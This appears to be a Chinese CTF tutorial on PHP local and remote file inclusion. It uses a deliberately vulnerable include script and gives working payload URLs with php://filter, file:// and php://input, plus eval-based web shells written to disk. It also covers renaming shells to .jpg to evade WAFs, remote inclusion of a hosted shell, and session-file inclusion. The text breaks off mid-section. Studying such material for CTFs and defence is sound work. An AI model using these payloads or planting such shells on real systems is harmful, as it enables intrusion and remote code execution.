NO.1 傳統方法
首先來看下代碼
<?php error_reporting(0); if(@isset($_GET["file"])){include($_GET["file"]); }else{highlight_file(__FILE__);phpinfo(); } ?>
看完代碼后再來學習學習函數吧,畢竟菜啊!!!
isset()
函數檢測變量是否設置,是返回true,否則返回false
語法:bool isset( mixed var [, mixed var [, …]] )
error_reporting()
函數能夠在運行時設置 error_reporting 指令。0
為關閉錯誤報告
語法:error_reporting(level)
include
?函數包含并運行指定文件。
這個應該大家都很熟悉了。
highlight_file()
函數對文件進行語法高亮顯示。
語法:highlight_file(filename,return)
參數:
- filename 必需。要進行高亮處理的 PHP 文件的路徑。
- return 可選。如果設置 true,則本函數返回高亮處理的代碼。
這題由于沒有任何過濾,利用起來并不困難,
直接訪問的時候會出現phpinfo
,可能是為了方便讓你知道網站路徑吧,
知道路徑后,當然一般直接使用?file=xxx
就可以直接利用了。
NO.2 php偽協議
對于php偽協議,網上也有很多的文章,
但是對于萌新來說,自己再總結學習一下自然不是什么壞事,
談到偽協議就不得不先說allow_url_fopen?
和allow_url_include
這兩個函數。
allow_url_fopen函數
:默認值是ON,允許url里的封裝協議訪問文件
allow_url_include函數
:默認值是OFF,不允許包含url里的封裝協議包含文件
接下來看看CTF中幾個常用的偽協議。
1. php://filter
php://filter協議在CTF中經常出現,通常配合base64來讀取源碼,
參數:
名稱:
- resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流。
- read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
- write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
- <; 兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用于讀或寫鏈。
這道題中利用方法也很簡單,
http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt
也很好理解,意思就是讀取flag.txt
的內容,進行base64編碼后輸出
注意:像這樣的話是讀取相同路徑下的文件,就是include.php
和flag.txt
同路徑
接下來看看跟php://filter
很像的一個協議
file://協議(不是偽協議)
說明:?file://
?— 訪問本地文件系統
file://
協議會受到?allow_url_fopen
?的影響,
但是在CTF中通常用來讀取本地文件而不會受到allow_url_fopen
的影響
用法:?file:// [文件的絕對路徑和文件名]
然后在這道題中就可以這樣去構造,
http://localhost/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\flag.txt
在Windows下正反斜桿都可以使用,
Linux下必須使用正斜桿(/
)
當然還可以配合php://filter
協議使用,
http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=file://D:\phpStudy\PHPTutorial\WWW\flag.txt
2. php://input協議
說明:簡單來說就是能夠將post請求中的數據作為PHP代碼執行
需要將allow_url_include
開啟
注:當enctype='multipart/form-data'
?的時候?php://input
?是無效的
測試:
也可以post生成一句話
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST['cmd']);?>');?>
先來認識下函數,
fputs()函數將內容寫入一個打開的文件中。
語法:fputs(file,string,length)
參數:
- file 必需。規定要寫入的打開文件。
- string 必需。規定要寫入打開文件的字符串。
- length 可選。規定要寫入的最大字節數。
fopen()函數打開文件或者 URL。
語法:fopen(filename,mode,include_path,context)
參數:
- filename 必需。規定要打開的文件或 URL。
- mode 必需。規定要求到該文件/流的訪問類型。可能的值見下表。
- include_path 可選。如果也需要在 include_path 中檢索文件的話,可以將該參數設為 1 或 TRUE。
- context 可選。規定文件句柄的環境。Context 是可以修改流的行為的一套選項。
mode 參數的可能的值:
- “r” 只讀方式打開,將文件指針指向文件頭。
- “r+” 讀寫方式打開,將文件指針指向文件頭。
- “w” 寫入方式打開,將文件指針指向文件頭并將文件大小截為零。如果文件不存在則嘗試創建之。
- “w+” 讀寫方式打開,將文件指針指向文件頭并將文件大小截為零。如果文件不存在則嘗試創建之。
- “a” 寫入方式打開,將文件指針指向文件末尾。如果文件不存在則嘗試創建之。
- “a+” 讀寫方式打開,將文件指針指向文件末尾。如果文件不存在則嘗試創建之。
- “x” 創建并以寫入方式打開,將文件指針指向文件頭。如果文件已存在,返回 FALSE,如果文件不存在則嘗試創建之。
- “x+” 創建并以讀寫方式打開,將文件指針指向文件頭。如果文件已存在,返回 FALSE,如果文件不存在則嘗試創建之。
這句話的意思很明顯了,以寫入的方式將一句話寫入到shell.php這個文件中,
然后就可以直接上菜刀了
對于文件包含這個東西來說,文件后綴可以是任意的,
只要文件內容符合PHP語法規范,那么任何擴展名都可以被當作PHP來解析,
這里我們將shell.php
改成shell.jpg
的后綴,
菜刀路徑的話也要換成包含的格式
http://localhost/include.php?file=shell.jpg
依舊是可以訪問的,
好了,偽協議就說怎么多了。
NO.3 遠程包含
既然是文件包含的題目,當然就離不開遠程文件包含了,
遠程包含需要目標服務器將allow_url_fopen
和allow_url_include
開啟才可以。
現在將一匹馬放到自己服務器上,然后遠程包含這匹馬,
注意,這里有個坑
這匹馬的文件名不能是可以解析的文件后綴,比如php后綴可以解析,那么這匹馬的后綴就不能是php
http://localhost/include.php?file=http://127.0.0.1/shell.jpg
但是如果我就想要包含php后綴的文件呢,當然也是可以的,
不過這里需要將一句話echo
出來才行,這樣才可以包含php后綴的文件
<?php echo '<?php eval($_POST["cmd"]);?>'; ?>
然后就可以利用了
思考:為什么遠程包含需要將一句話echo出來
原因是遠程服務器已經將文件解析了,遠程包含只包含前端顯示的代碼,跟后綴沒什么關系,
所有這里為什么要echo一句話就是這個道理。
相反,本地包含就不需要在前端顯示,只要是符合php規范的代碼就可以,
本地包含一般使用jpg,log這樣的后綴的一句話去繞waf。
遠程包含還可以配合偽協議去利用,
將一句話進行base64加密,
注意:這里要是加密echo的一句話是不行的
然后偽協議中base64就要換成解密的了decode
使用方法:
http://localhost/include.php?file=php://filter/read=convert.base64-decode/resource=http://127.0.0.1/shell.php
然后一樣可以使用菜刀去連接
NO.4 session文件包含
這題我們稍微改動一下,增加一個session
<?phpsession_start(); error_reporting(0);if(@isset($_GET["file"])){$_SESSION["username"]=$_GET["file"];include($_GET["file"]); }else{highlight_file(__FILE__);phpinfo(); }?>
這里的話就是開啟session,然后將傳入的參數寫入到session文件中。
這里我們傳入一個名為flag的參數,
在瀏覽器中可以看到 phpsessid 在發送的請求的 cookie值,
然后我們可以通過phpinfo知道session存放的路徑,
然后去文件夾中發現確實存在這個臨時文件,
然后進行讀取,session
臨時文件格式為sess_xxx
?發現是我們剛剛傳入的flag字段
http://localhost/include.php?file=../tmp/tmp/sess_onkqtedht4iucf6bnnjpgqu0g7
如果當我們傳入的值為?<?php phpinfo();?>
?會出現什么情況